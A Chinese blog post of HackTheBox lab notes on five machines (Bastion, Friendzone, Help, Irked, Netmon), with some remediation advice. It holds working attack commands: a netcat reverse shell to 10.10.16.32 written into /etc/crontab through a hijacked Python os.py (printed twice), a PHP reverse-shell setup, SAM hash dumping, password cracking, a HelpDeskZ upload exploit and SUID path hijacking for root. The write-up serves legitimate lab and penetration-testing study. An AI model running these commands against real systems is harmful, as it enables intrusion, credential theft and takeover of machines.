zoukankan      html  css  js  c++  java
  • HackTheBox-笔记

    一. Bastion

    问题 解决方案
    Smb服务器设有guest用户可访问的文件夹,文件夹内有系统盘完整备份文件,系统盘文件中存在SAM文件和SYSTEM文件,一旦被获取到用户名和密码的Hash 1、设置文件夹权限,不允许guest用户访问2、关闭guest用户3、取消对备份文件的共享或转移备份文件
    用户密码过短,存在Hash猜测破解风险 使用符合安全规则的密码
    SSH允许所有用户连接 限制SSH连接用户,创建用户白名单
    mRemoteNG 1.7.10运维工具存在漏洞,保存加密的密码可直接通过echo "password %password%"打印出password变量 1、更新工具2、使用密钥来进行连接3、不保存密码

    操作方法

    smbclient -N -L //10.10.10.134   #列出SMB信息
    smbclient -N //10.10.10.134/bbad #连接SMB
    
    get #下载文件
    put #上传文件
    
    samdump3 SYSTEM SAM #获取系统文件下windows密码哈希值
    
    #mRmoteNG工具在1.7.10下,使用这样的操作就会获取密码
    Filename:cmd
    Arguments:/k echo "password%password%"
    
    ##网页工具##
    https://hashes.com/zh/decrypt/hash #哈希值猜测
    

    总结

    渗透方面

    	信息收集阶段通过对主机的扫描确认可能存在的突破点,找到可能进行连接或访问的服务,通过进一步的收集,查找可利用信息。
    

    安全方面

    ​ 服务器备份文件也需要存放在安全的位置保护。在开放访客用户的情况下,要确保访客用户权限有没有越界,密码应遵守密码安全准则,否则容易被暴力破解或被猜测,在使用ssh服务的时候尽可能的控制可通过ssh连接用户的范围,不必要的用户就需要禁止。运维工具要使用透彻,防止出现因运维工具使用不当导致的密码泄露。

    二. Friendzone

    渗透思路

    文件包含可以实现shell反弹

    通过高权限进程提升权限,例下,通过高权限读取并执行的一些文件,我们通过修改改文件用过root执行,即可完成高权限进程执行。

    #一个高权限文件中导入了os并执行
    import os
    
    /user/lib/python2.7/os.py 
    #替换该文件为:
    shell = '''
    * * * * *	root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.32 4444 >/tmp/f
    '''
    
    f = open('/etc/crontab', 'a')#crontab自动执行文件
    f.write(shell)
    f.close()
    

    操作方法

    dig axfr friendzone.red @10.10.10.123 #通过根域名搜索到的域名信息
    
    vim /etc/hosts  #linux下的host文件位置
    SwitchHost      #windows下host管理工具
    
    enum4linux 10.10.10.123  #嗅探SAMBA服务
    
    smbclient -N \\10.10.10.123general   #登入SMABA服务
    get #下载文件
    put #上传文件
    
    gobuster dir -w directory-list-2.3-medium.txt -u url -k -t 50 #扫描目录
    dir #指定为web扫描
    -w #字典文件
    -u #url地址
    -k #HTTPS协议
    -t #线程
    
    #php-reverse-shell工具
    wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php #php反弹shell
    #修改文件如下
    $VERSION = "1.0";
    $ip = '127.0.0.1';  // 返回地址
    $port = 12345;       // 返回端口
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';
    $daemon = 0;
    $debug = 0;
    
    #监听反弹方式
    rlwrap nc -lvp 12345
    
    #用python开启shell
    Shell开启pty python -c "import pty; pty.spawn('/bin/bash')"
    
    #信息收集工具
    #查看进程
    wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
    ./pspy64s #运行
    #查看各种详细信息
    wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
    ./LinEnum.sh #运行
    

    一个反弹的python文件

    shell = '''
    * * * * *	root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.32 4444 >/tmp/f
    '''
    
    f = open('/etc/crontab', 'a')#crontab自动执行文件
    f.write(shell)
    f.close()
    

    三、help

    渗透思路

    ​ 深入挖掘HTTP服务器的目录,可能隐藏目录当中有其他可能存在的其他第三方应用,这些目录中可能存在利用

    ​ 利用漏洞时需要注意我们自己去了解漏洞细节

    ​ 可以根据内核漏洞进行提权

    操作方法

    #**helpdeskz文件上传漏洞**
    #根目录下UPGRADING.txt文件来查看版本号
    
    searchsploit poc名 #搜索一些poc
    
    #poc下载
    wget https://raw.githubusercontent.com/sawinskii/HelpDeskZ-1.0.2-File-Uplaod/master/helpdeskz.py
    #原理是helpdeskz未登入情况下,可上传文件,文件名为:服务器时间—上传名利用脚本来跑这3分钟的时间格式。不断访问/support/下的文件直到成功,若文件为反弹shell就可以通过nc来进行连接
    
    #哈希值猜测
    john 文件名 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA1
    
    umame -a #查看内核
    
    searchsploit 4.4.0-166 #搜索内核提权漏洞
    
    scp 111.c help@10.10.10.123:/tmp #上传111.c文件到10.10.10.123用户名为help
    gcc 111.c -o 1111  #编译111.c文件为1111
    whoami  #查看当前用户
    

    四、Irked

    渗透思路

    ​ ircdf在3.2.8.1版本有backdoor,使用msf的poc,就可以快速获取user权限的shell

    ​ 图片有隐藏压缩包,可用工具解压其中的内容,隐藏文件中所蕴含可能存在大量有用信息

    ​ 在user权限下,发现目前可执行的程序拥有者为root,使用ltracelinux命令执行过程发现切入点:当程序执行时会先执行/tmp/listusers程序,可通过替换/tmp/listusers为反弹程序或为/bin/sh,这样的方法来提升为root权限

    操作方法

    ​ 下载工具

    apt-get install steghide #图片信息解密工具
    apr-get install ltrace   #linux程序运行诊断软件
    

    ​ steghide图片信息解密工具

    steghide extract -p 密码 -sF 图片路径  #解压图片内容
    

    ​ ltracelinux程序运行诊断软件

    ltrace ./程序  #查看程序在运行时会做什么
    

    ​ 其他命令操作

    find / -type f -perm -4000 2>/dev/null  #搜索目前用户可以执行的一些命令
    
    file 文件名  #查看文件信息
    
    ssh root@10.10.10.117  #通过ssh使用root用户名连接10.10.10.117
    
    scp 用户名@IP地址:绝地路径   #下载远程文件
    
    cp /bin/sh /tmp/listusers #/bin/sh为命令行程序,可通过使用root权限来执行就可获取root权限下的shell
    

    五、Netmon

    渗透思路

    ​ 匿名访问权限会有很多有用信息

    ​ 社工密码猜解需要细心

    ​ 漏洞利用中遇到的问题要细心发现poc问题,根据情况修改poc

    操作方法

    #登入ftp
    ftp 10.10.10.152 #登入
    anonymous        #匿名
    get 文件名        #下载
    
    ProgramDataPaessler #windows软件日志位置
    
    cat 文件名 | more  #文件有点多用这个方法
    
    set ff            #查看文件系统
    set ff=unix       #修改文件系统
    
  • 相关阅读:
    C#生成唯一码方法
    解剖常用软件程序都用什么语言开发
    Unity3D笔记七 GUILayout
    函数的递归
    函数
    函数的参数
    函数的返回值
    函数的定义
    文件处理
    集合
  • 原文地址:https://www.cnblogs.com/ctccaozhe/p/13222387.html
Copyright © 2011-2022 走看看